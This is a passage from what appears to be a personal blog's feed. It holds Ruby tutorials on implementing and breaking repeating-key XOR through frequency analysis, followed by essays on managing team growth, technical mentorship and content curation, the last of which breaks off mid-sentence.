    c3 = buffer.slice(key_len * 2, key_len)
    c4 = buffer.slice(key_len * 3, key_len)

    # Step 2
    d1 = hamming(c1, c2) / key_len.to_f
    # Step 3
    d2 = hamming(c2, c3) / key_len.to_f
    # Step 4
    d3 = hamming(c3, c4) / key_len.to_f

    # Step 5
    distance = (d1 + d2 + d3) / 3.0

    Key.new(distance: distance, len: key_len)
  end

  # Step 7
  keys.sort(&amp;amp;:key_sort).first(3)
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;What now?&lt;/h2&gt;
&lt;p&gt;Now we can run the algorithm implemented in our &lt;a href=&quot;/repeating-key-xor&quot;&gt;previous post&lt;/a&gt; and output the results to see which one yields the best decryption.&lt;/p&gt;
&lt;p&gt;We should run it with a small modification, which is:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;candidates = find_key_candidates(encoded_message)

keys = candidates.map do |candidate|
  # Algorithm from previous post
end

decoded_results = keys.map do |key|
  repeating_key_xor(encoded_message, key.bytes).pack(&amp;#39;C*&amp;#39;)
end

puts decoded_results.inspect

# We can also output the result that resembles English the most.
puts decoded_results.max_by { |r| english_score(r) }&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we have reached the end of our exercise! By this point we should have all the tools we need to break the repeating-key XOR algorithm regardless if we know the key length or not.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Repeating-key XOR]]></title><description><![CDATA[Implementing and breaking the repeating-key XOR algorithm]]></description><link>https://bernardoamc.com/repeating-key-xor/</link><guid isPermaLink="false">https://bernardoamc.com/repeating-key-xor/</guid><pubDate>Sat, 12 Jun 2021 18:35:00 GMT</pubDate><content:encoded>&lt;p&gt;In this post we will learn what repeating-key XOR is, followed by learning how to implement it and by the end of it we will have the knowledge we need to reverse engineer the algorithm.&lt;/p&gt;
&lt;h2&gt;How does repeating-key XOR work?&lt;/h2&gt;
&lt;p&gt;As the name implies, the idea behind this algorithm is &lt;em&gt;repetition&lt;/em&gt;, but let’s start from the beginning.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In order to perform this algorithm we need the following things in place:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt; to XOR our message with&lt;/li&gt;
&lt;li&gt;A &lt;code class=&quot;language-text&quot;&gt;buffer&lt;/code&gt; of bytes representing our message&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;The algorithm consists of the following steps:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Sequentially &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; each byte of the key with the corresponding byte of the message&lt;/li&gt;
&lt;li&gt;When we exhaust the bytes in our key we simply &lt;em&gt;repeat it&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I find it helpful to visually represent these operations, so let’s work with an example!&lt;/p&gt;
&lt;p&gt;Suppose our &lt;em&gt;key&lt;/em&gt; is &lt;code class=&quot;language-text&quot;&gt;ZAP&lt;/code&gt; and our &lt;em&gt;message&lt;/em&gt; is &lt;code class=&quot;language-text&quot;&gt;WEIRDMSG&lt;/code&gt;. The algorithm would be performed in the following order:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;Key&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Operation&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Byte&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;Z&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;XOR&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;W&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;A&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;XOR&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;E&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;P&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;XOR&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;I&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;Z&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;XOR&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;R&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;A&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;XOR&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;D&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;P&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;XOR&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;M&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;Z&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;XOR&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;S&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;A&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;XOR&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;G&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Implementation&lt;/h2&gt;
&lt;p&gt;With the intuition in place, let’s build this. We will be using &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt; for this task, but any other programming language would suffice.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# Remember that we need to XOR bytes, not characters.
KEY = &amp;#39;ZAP&amp;#39;.bytes # [90, 65, 80]
MESSAGE = &amp;#39;WEIRDMSG&amp;#39;.bytes # [87, 69, 73, 82, 68, 77, 83, 71]

def repeating_key_xor(buffer, key)
  key_size = key.size

  buffer.map.with_index(0) do |byte, index|
    byte ^ key[index % key_size]
  end
end

puts repeating_key_xor(MESSAGE, KEY).inspect
# [13, 4, 25, 8, 5, 29, 9, 6]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;Reverse engineering a message encoded with repeating-key XOR&lt;/h2&gt;
&lt;p&gt;Now that we know how to implement the algorithm, how would we reverse engineer it?&lt;/p&gt;
&lt;p&gt;Let’s assume we have the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Encoded message&lt;/li&gt;
&lt;li&gt;We know the message is in English&lt;/li&gt;
&lt;li&gt;Key length is known (we can figure the length if we didn’t have it, but we will leave this part for a future exercise)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The intuition behind solving this problem is that we know &lt;em&gt;which bytes from the key were XORed with which bytes from the message&lt;/em&gt;! Using our example from above we have the following distribution:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;Key byte&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Blocks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;Z&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;[W, R, S]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;A&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;[E, D, G]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;P&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;[I, M]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;It’s worth repeating, each block was XORed using the &lt;em&gt;same byte&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Knowing the above and that the message is in English allows us to start &lt;em&gt;guessing&lt;/em&gt; which bytes were XORed with the message! Ideally when we XOR our guess with the encoded message it will output something similar to English.&lt;/p&gt;
&lt;p&gt;So we have a plan:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;For each &lt;code class=&quot;language-text&quot;&gt;block&lt;/code&gt;, the single-byte XOR key that produces the best looking &lt;code class=&quot;language-text&quot;&gt;English letter histogram&lt;/code&gt; is the repeating-key XOR key byte for that block&lt;/li&gt;
&lt;li&gt;Put the single-byte found for each block together and we have our key&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Why does this work?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Most languages can be represented as a &lt;code class=&quot;language-text&quot;&gt;letter frequency table&lt;/code&gt;, which is the number of times letters of the alphabet appear on average in the written language. By comparing our decoded message using the guessed byte against this table we can be reasonably sure when our guessed byte results in something resembling English.&lt;/p&gt;
&lt;p&gt;With this intuition in place, let’s see the full algorithm:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Break the encoded message (ciphertext) into blocks of &lt;code class=&quot;language-text&quot;&gt;key size length&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Remember to pad the last block so it ends up having the same length of every other block&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now transpose the blocks: make a block that is the first byte of every block, and a block that is the second byte of every block, and so on. This will resemble the table used in our &lt;code class=&quot;language-text&quot;&gt;ZAP&lt;/code&gt; example&lt;/li&gt;
&lt;li&gt;Fetch the byte that produces the best score for each block (a byte has 8 bits, so it’s value can go from 0 up to 255)&lt;/li&gt;
&lt;li&gt;Put the derived byte for each block together and we have our key&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Reverse engineering implementation&lt;/h2&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# In real life we wouldn&amp;#39;t know the PLAINTEXT or the KEY, but it&amp;#39;s useful to compare the output of our algorithm with the real PLAINTEXT.
PLAINTEXT = &amp;lt;&amp;lt;-PLAINTEXT
It’s Cuz of that !W#$ ‘pizza’ that everyone down here is suffering. – Barret Wallace
It’s like this train. It can’t run anywhere except where its rails take it. – Cloud Strife
Words aren’t the only thing that tell people what you’re thinking. – Tifa Lockheart
What you pursue will be yours, but you will lose something dear - Cait Sith/Reeve Tuesti
Our battlefield is now beneath the earth...The gate to tomorrow is not the light of heaven, but the darkness of the depths of the earth. - Vincent Valentine
How can there be any meaning in the memory of such a being? What I have shown you is reality. What you remember, that is the illusion. - Sephiroth
I just want to do everything in my power to help. All of you - and the planet. - Aerith Gainsborough
I don&amp;#39;t like two-legged things. - Red XIII/Nanaki
Survival can be a matter of luck or skill. And you can&amp;#39;t rely on luck. - Cloud Strife
PLAINTEXT
KEY = &amp;#39;SECRET&amp;#39;.bytes

# The repeating_key_xor method was obtained from the implementation section
ciphertext = repeating_key_xor(PLAINTEXT.bytes, KEY)

# Step 1 of the algorithm
blocks = ciphertext.each_slice(KEY.size).to_a

# Right padding the last block with nils so all blocks have the same length.
# This way we can transpose blocks successfully.
required_padding = blocks.first.size - blocks.last.size
blocks[-1] = blocks.last + Array.new(required_padding, nil)

# Step 2 of the algorithm
# Now we cluster bytes that have been XORed by the same byte together with transpose
# and start our guesswork.
potential_key = blocks.transpose.map do |cluster|
  # Step 3 of the algorithm
  scored_guesses = (0..255).map do |guess|
    result = cluster.compact.map do |b|
      b ^ guess
    end.pack(&amp;#39;C*&amp;#39;)

    score = english_score(result) # See implementation by the end of the post
    [score, guess]
  end

  # Figuring out the byte that produces the best score, ending step 3.
  scored_guesses.max_by { |score, _| score }.last
end.pack(&amp;#39;C*&amp;#39;) # The byte packing is step 4, this will produce a string from our bytes.

puts &amp;quot;Potential key: #{potential_key}&amp;quot;

decoded_message = repeating_key_xor(
    ciphertext,
    potential_key.bytes
).pack(&amp;#39;C*&amp;#39;)

puts &amp;quot;Decoded: #{decoded_message}&amp;quot;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And that’s it!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attention:&lt;/strong&gt; If your plaintext is &lt;em&gt;small&lt;/em&gt; you will probably need to get something like the top 5 highest scores and test those keys since the algorithm might not have enough data to make the proper decision.&lt;/p&gt;
&lt;h3&gt;Scoring the plaintext against english&lt;/h3&gt;
&lt;p&gt;Now it’s time to see what that method &lt;code class=&quot;language-text&quot;&gt;english_score&lt;/code&gt; is all about! This is likely not the most precise implementation, but it will suffice for our exercise.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;ENGLISH_FREQUENCY = {
  &amp;#39; &amp;#39; =&amp;gt; 0.14,
  &amp;#39;e&amp;#39; =&amp;gt; 0.12,
  &amp;#39;t&amp;#39; =&amp;gt; 0.09,
  &amp;#39;other&amp;#39; =&amp;gt; 0.09,
  &amp;#39;a&amp;#39; =&amp;gt; 0.08,
  &amp;#39;o&amp;#39; =&amp;gt; 0.07,
  &amp;#39;i&amp;#39; =&amp;gt; 0.06,
  &amp;#39;n&amp;#39; =&amp;gt; 0.06,
  &amp;#39;s&amp;#39; =&amp;gt; 0.06,
  &amp;#39;h&amp;#39; =&amp;gt; 0.06,
  &amp;#39;r&amp;#39; =&amp;gt; 0.05,
  &amp;#39;d&amp;#39; =&amp;gt; 0.04,
  &amp;#39;l&amp;#39; =&amp;gt; 0.04,
  &amp;#39;c&amp;#39; =&amp;gt; 0.02,
  &amp;#39;u&amp;#39; =&amp;gt; 0.02,
  &amp;#39;m&amp;#39; =&amp;gt; 0.02,
  &amp;#39;w&amp;#39; =&amp;gt; 0.02,
  &amp;#39;f&amp;#39; =&amp;gt; 0.02,
  &amp;#39;g&amp;#39; =&amp;gt; 0.02,
  &amp;#39;y&amp;#39; =&amp;gt; 0.01,
  &amp;#39;p&amp;#39; =&amp;gt; 0.01,
  &amp;#39;b&amp;#39; =&amp;gt; 0.01,
  &amp;#39;v&amp;#39; =&amp;gt; 0.01,
  &amp;#39;k&amp;#39; =&amp;gt; 0.01,
  &amp;#39;j&amp;#39; =&amp;gt; 0.01,
  &amp;#39;x&amp;#39; =&amp;gt; 0.00,
  &amp;#39;q&amp;#39; =&amp;gt; 0.00,
  &amp;#39;z&amp;#39; =&amp;gt; 0.00
}.freeze

# Build a letter frequency table from a String
def frequency_table(string)
  frequency = Hash.new { |h,k| h[k] = 0 }
  len = string.size

  string.each_char do |character|
    bucket = ENGLISH_FREQUENCY.key?(character) ? character : &amp;#39;other&amp;#39;
    frequency[bucket] += 1
  end

  frequency.each { |k,v| frequency[k] = v.to_f / len }

  frequency
end

# The chi-squared test is used to determine whether there
# is a statistically significant difference between the
# expected frequencies and the computed frequencies in our
# English category. A high score means that the text
# is unlikely to be in English.
def chi_squared(expected_frequency, computed_frequency)
  expected_frequency.map do |letter, expected_value|
    computed_value = computed_frequency[letter] || 0
    next 0 if expected_value.zero?
    (expected_value - computed_value) ** 2 / expected_value
  end.sum
end

def english_score(string)
  computed_frequency = frequency_table(string)
  1 / chi_squared(ENGLISH_FREQUENCY, computed_frequency)
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we have reached the end of our exercise! I hope it was helpful, if anything is confusing or could be improved please reach out to me on Twitter or by email.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Management during an ambitious team expansion]]></title><description><![CDATA[As a manager, what should we pay attention to when we have a successful team that is expanding rapidly?]]></description><link>https://bernardoamc.com/quick-team-expansion/</link><guid isPermaLink="false">https://bernardoamc.com/quick-team-expansion/</guid><pubDate>Fri, 21 May 2021 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There’s something special about working with a small team, alignment comes easy and feeling heard is a norm as opposed to something you have to actively seek or fight for. This is usually a great recipe for success, and before you know it your organization is betting on your product and increasing its visibility. This usually means more hiring, and with hiring the team structure will likely change. From a single manager to multiple managers, and manager of managers, and directors of multiple disciplines. Before you know it you became a product line.&lt;/p&gt;
&lt;p&gt;Getting alignment became much harder and we decided to split this big product line into multiple small teams so they can work more or less in isolation, like our original small team that were so successful in the past. But how do we support our new hires? Let’s make sure that every one of these small teams can have at least a senior with plenty of context so they can onboard people successfully.&lt;/p&gt;
&lt;p&gt;Our original team ends up being split into multiple teams and the onboarding can progress, but that also means that our development speed across teams slows down since our senior developers will need time to share context and ramp up new hires. This is fine, right? But with high visibility and buy-in from the organization comes more pressure to perform and leadership (remember all those managers and directors?) are pressured to deliver more ambitious projects. Not happy with the slow down in development speed leadership decides to micro optimize.&lt;/p&gt;
&lt;p&gt;This feature needs to be delivered in two weeks and we have this next project lined up that should be done in a month.
This shouldn’t take more than one developer to tackle and half a developer to help review&lt;/p&gt;
&lt;p&gt;This drives the sense of belonging within the team down and the stress up, we soon notice people mentioning that they need to take a break after a certain deadline passes or that people are not taking breaks at all. We also notice that the cross team communication is suffering with every team member focused on their own deadlines and timelines. People are now fighting to seek alignment and feel heard.&lt;/p&gt;
&lt;p&gt;As a manager, what should you be aware of in this hypothetical situation?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Be aware of team micro optimizations&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Few things are more demotivating for a team member than to work alone in a project while being remote, the sense of belonging deteriorates quite fast. This might yield faster results in the short term, but we are compromising our team in the long term. It’s equally important to pay attention when people are shifting around small features and projects regularly since this doesn’t give them the opportunity to feel like they are part of a single team.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pay attention to lined up projects&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It’s important for a team to have a solid and clear roadmap, but making it too time constrained becomes problematic when the team doesn’t have time to learn from a project launch and refactor or fix existing issues within the codebase. A project is not considered done if there’s no documentation for it and the code is not in a good state. Again, moving a bit slower will help us move faster in the long run.&lt;/p&gt;
&lt;p&gt;The business will always require more, but the team comes first.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pay attention to knowledge silos&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Having multiple teams being able to tackle things simultaneously is a blessing, but it’s also a recipe for knowledge silos. As managers it’s our job to build a culture that values and recognizes knowledge sharing and that also treats documentation as a first party citizen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pay attention when hiring faster than the time it takes to onboard new hires&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At some point your team will reach a situation where every developer with context is already onboarding one or more new hires. At this point it’s highly recommended to push back on hiring while the team normalizes their level of context. Having an idea of how long a developer or senior developer takes to be productive on a codebase helps to guide the hiring speed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Create conditions for success&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Improve relationships, improve your tools and systems, improve your communication. The team from today should be better than the one from yesterday.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pay attention to growth opportunities&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Listen to your team members and try to manage and fulfill your team’s expectations. Having a clear picture of which challenges people are eager to face and matching these challenges with the right people goes a long way to keep the team engaged and performant. If you don’t know what someone is aiming for within your team you should ask that person right now.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Be careful when you share your technical ideas&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a subtle concept, but one worth paying attention to. As someone that is part of leadership your voice tends to carry a certain weight, and building a team comfortable enough to challenge you is not a given. By sharing a technical proposal you might be taking space from your peers to think critically about a certain problem from the ground up. Try instead to detail the current status of the system, the existing constraints and our goals and help the team to think and come up with their own solution. Ultimately the team will be responsible for maintaining that code or architecture.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Technical mentorship]]></title><description><![CDATA[What I consider a good technical mentorship?]]></description><link>https://bernardoamc.com/mentorship/</link><guid isPermaLink="false">https://bernardoamc.com/mentorship/</guid><pubDate>Mon, 03 May 2021 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over our career we constantly find ourselves in positions where we can act as mentors or mentees in a formal or informal capacity. The way we choose to approach this situation sets ourselves up for successful relationships and career opportunities, or not.&lt;/p&gt;
&lt;p&gt;Given that this is a recurring topic among teams I’ve managed and worked with, this seems like a good opportunity to discuss how I approach mentorship and maybe structure my thought process into actionable steps. At the end of this post I hope we have a formalized set of items to act upon.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disclaimers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mentorship can happen in a formal way, but it can also happen informally when you are working with your peers and sharing something new you have learned, or a behaviour that you’ve observed. Don’t let those moments pass without action, sharing is a great way of building trust and a healthy team.&lt;/p&gt;
&lt;p&gt;Mentorship is a mutually beneficial relationship, both the mentor and mentee should learn along the way.&lt;/p&gt;
&lt;p&gt;This is based on my current observations and is not supposed to be interpreted as &lt;em&gt;the way to do things&lt;/em&gt;. If you have a different idea of what a good mentorship is please share.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre-requisites&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;More often than not I end up learning when mentoring, it is &lt;strong&gt;not&lt;/strong&gt; expected that you should know everything about one or more topics before you can become a mentor. That being said, it is helpful to have relevant expertise over the topic you are planning to mentor on.&lt;/p&gt;
&lt;p&gt;It is helpful to be a few years ahead in your career compared to your mentee, but not so many as to lose touch of how you felt when you were learning that particular topic. You should be able to relate to your mentee, and vice-versa.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Getting to know your mentee:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before even starting I find it helpful to get to know the person you are entering this relationship with. It doesn’t need to be something personal, but knowing the answer to the following questions has helped me before.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;What’s your favourite way to communicate? (Email, Slack, Video)&lt;/li&gt;
&lt;li&gt;What’s your preferred way to learn? (Books, Videos, Problem Solving, Pairing)&lt;/li&gt;
&lt;li&gt;How do you prefer to receive feedback (Communicated in writing / verbal / immediate or at planned checkpoints)&lt;/li&gt;
&lt;li&gt;How much time are you planning to invest on this? (Sets the tone and workload)
&lt;ul&gt;
&lt;li&gt;1h per week for syncs with the mentor plus 4 hours to study&lt;/li&gt;
&lt;li&gt;1h every two weeks with mentor plus X hours per week to study&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;What would you like to get out of this relationship? (Goal setting)
&lt;ul&gt;
&lt;li&gt;Do you want to master a particular topic or learn in a broader capacity?&lt;/li&gt;
&lt;li&gt;Do you want to learn how to learn about similar topics?&lt;/li&gt;
&lt;li&gt;Do you want to learn how does it applies to your career?&lt;/li&gt;
&lt;li&gt;Or maybe how to teach the subject?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Most of these questions apply to both the mentor and mentee, establishing answers to those questions in a first meeting is a great way to set your relationship up for success. It’s useful to shorten the feedback loop in the beginning of the mentorship, I highly recommend meeting weekly over bi-weekly or monthly. After the relationship is established and is going well it is okay to slow down the cadence if that’s what both parties want.&lt;/p&gt;
&lt;p&gt;Not reaching consensus on the last two questions is especially problematic.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gauging knowledge&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;More than owning the conversation, it’s highly beneficial for the mentor to ask focused questions and &lt;em&gt;listen&lt;/em&gt; to their mentee’s explanation. I particularly like to ask people to teach me what they know about the subject they want to know better since it gives me a very good idea of gaps in their knowledge. Based on this explanation I can come up with a list of things that might be interesting for my mentee to learn about, and more importantly, how deep I can go in my explanation without confusing them.&lt;/p&gt;
&lt;p&gt;Not knowing the answers for their questions is also a great opportunity to share how you would approach the challenge of learning that thing yourself. You absolutely shouldn’t pretend to know something you don’t. Not knowing is fine, like your mentee, you are still learning things along the way.&lt;/p&gt;
&lt;p&gt;Giving the impression that you know everything will pass the wrong message to your mentee that they should also know everything in order to level up. This is wrong, giving them the confidence to be comfortable with not knowing, and instead focusing on how to ask the right questions and how to find the answers is an investment that pays off a great deal long term.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sharing knowledge&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;By now we should have a pretty good idea of how much you can share with your mentee without overwhelming them. At every session you can issue challenges or material to be reviewed and ask your mentee to walk you through their solution. This will bring you back to the &lt;em&gt;gauging knowledge&lt;/em&gt; step. These two steps will be repeated until the end of the mentorship.&lt;/p&gt;
&lt;p&gt;It’s worth it to double check every few sessions if the mentor/mentee relationship is working out and tweak it accordingly. Please give honest and direct feedback if you feel things are not progressing as you expect.&lt;/p&gt;
&lt;p&gt;Last but not least, if you have learned something from your mentee you should absolutely let them know. Sharing with the broader team is also a great way to promote knowledge sharing and building trust.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hypothetical mentorship situation&lt;/strong&gt;&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Mentee: &amp;quot;I would like to learn about trait objects in Rust.&amp;quot;

Mentor: &amp;quot;What are trait objects?&amp;quot;

Mentee: &amp;quot;They are used for dynamic dispatch.&amp;quot;

Mentor: &amp;quot;You are right, but what are trait objects exactly?&amp;quot;

Mentee: &amp;quot;I&amp;#39;m not sure, I think...&amp;quot;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This is the perfect moment to pause, you’ve understood how much they know about the topic at hand and now you can issue technical challenges or share literature about the topic. Sharing more than necessary at this point would only have confused the mentee. For example, talking about the &lt;code class=&quot;language-text&quot;&gt;Sized&lt;/code&gt; marker trait and stack frames, or even &lt;code class=&quot;language-text&quot;&gt;vtables&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;multiple traits&lt;/code&gt;. It’s tempting to show all you know about a topic, but resist the urge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Final thoughts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The best mentorship is the one that caters to each individual and raises their knowledge to the next level as opposed to being a one size fits all. That being said, what they should all have in common is a respectful relationship, honest and direct feedback and celebrating your mentee’s wins.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Recap&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Get to know your mentee and align expectations and goals as early as possible followed by gauging their knowledge level through thoughtful questions. Asking your mentee to teach you about a subject is a great way to get an understanding of where they stand. Teach the minimum viable amount in order to get your mentee to the next level and repeat it until the end of the mentorship program.&lt;/p&gt;
&lt;p&gt;Be honest when you don’t know something, it is perfectly fine to be transparent about it and use the opportunity to teach how you would approach learning about that subject in question.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Content curation]]></title><description><![CDATA[Thoughts on content curation as a way to mitigate content overload.]]></description><link>https://bernardoamc.com/content-curation/</link><guid isPermaLink="false">https://bernardoamc.com/content-curation/</guid><pubDate>Tue, 16 Mar 2021 20:37:00 GMT</pubDate><content:encoded>&lt;p&gt;We live in an age where it has never been easier to have access to content about
pretty much every subject of interest to us. This is changing the way we reason
about our education system, relationships and ultimately society itself.&lt;/p&gt;
&lt;p&gt;Seeing this through the lenses of centralization/decentralization we
realize that our world has been slowly moving towards a decentralized
structure for content creation and sharing. Social media and search engines
have allowed us to reach a wider audience that previously was only possible
through mainstream media channels like television, newspapers or magazines.&lt;/p&gt;
&lt;p&gt;This shift from content as a &lt;em&gt;scarce&lt;/em&gt; resource to an &lt;em&gt;abundance&lt;/em&gt; of content changes
the way we derive status from it. For example, would you gain status by reading and
commenting on something that everyone else can also read and comment for free?
Probably not if you don’t have anything &lt;em&gt;to add&lt;/em&gt; to the discussion. But what if
you could? Enters &lt;em&gt;quality&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This shift from &lt;em&gt;scarcity&lt;/em&gt; as a way to achieve status to &lt;em&gt;quality&lt;/em&gt; as a way to
achieve status has been both fascinating and challenging to me as
someone who likes to learn new things constantly. New initiatives like
non-fungible tokens (NFTs) are emerging to adapt scarcity and funding to our
digital world, but let’s leave that topic aside for a future post.&lt;/p&gt;
&lt;p&gt;So, what are my challenges? To put it in simple terms, it has become incredibly
hard to know what to read in order to learn something. What are the best
resources? How do I know if something is accurate? We have moved from a scarcity
of resources to a &lt;em&gt;resource overload&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Is this a bigger problem than what we had before? Does it warrant moving back towards
a centralized model? Of course not, but &lt;em&gt;some degree of centralization&lt;/em&gt; is
needed, and that’s when content curation and curators enter the picture. Having
&lt;em&gt;an abundance&lt;/em&gt; of content curated by specialists brings the right tension of
centralization versus descentralization to the picture and generates
&lt;em&gt;value&lt;/em&gt; to someone that is trying to learn more from a certain area or industry.&lt;/p&gt;
&lt;p&gt;Tracing a parallel from the delivery industry, in order to
serve a &lt;em&gt;limited audience&lt;/em&gt; well the industry has been moving from centralized
fulfillments centers to micro fulfillment centers. Curators are the micro
fulfillment centers of specialized knowledge. They serve a limited audience, but
they do it well. Universities and newspapers would be our centralized
fulfillments centers in this case, with a one-size fits all approach to a
&lt;em&gt;broader&lt;/em&gt; audience.&lt;/p&gt;
&lt;p&gt;Content curators have the tough job of trying to find and appeal to an audience
that can derive value from their expertise. Interestingly enough we already have
people ready to fill this role, the same people responsible for our content
overload problem, creators.&lt;/p&gt;
&lt;p&gt;Strong creators already have the trust of a limited audience, they also have an
open communication channel through their own creations in order to promote this
service. The next step involves creating and moderating communities where people
can derive value from each other. Good examples of this new shift towards
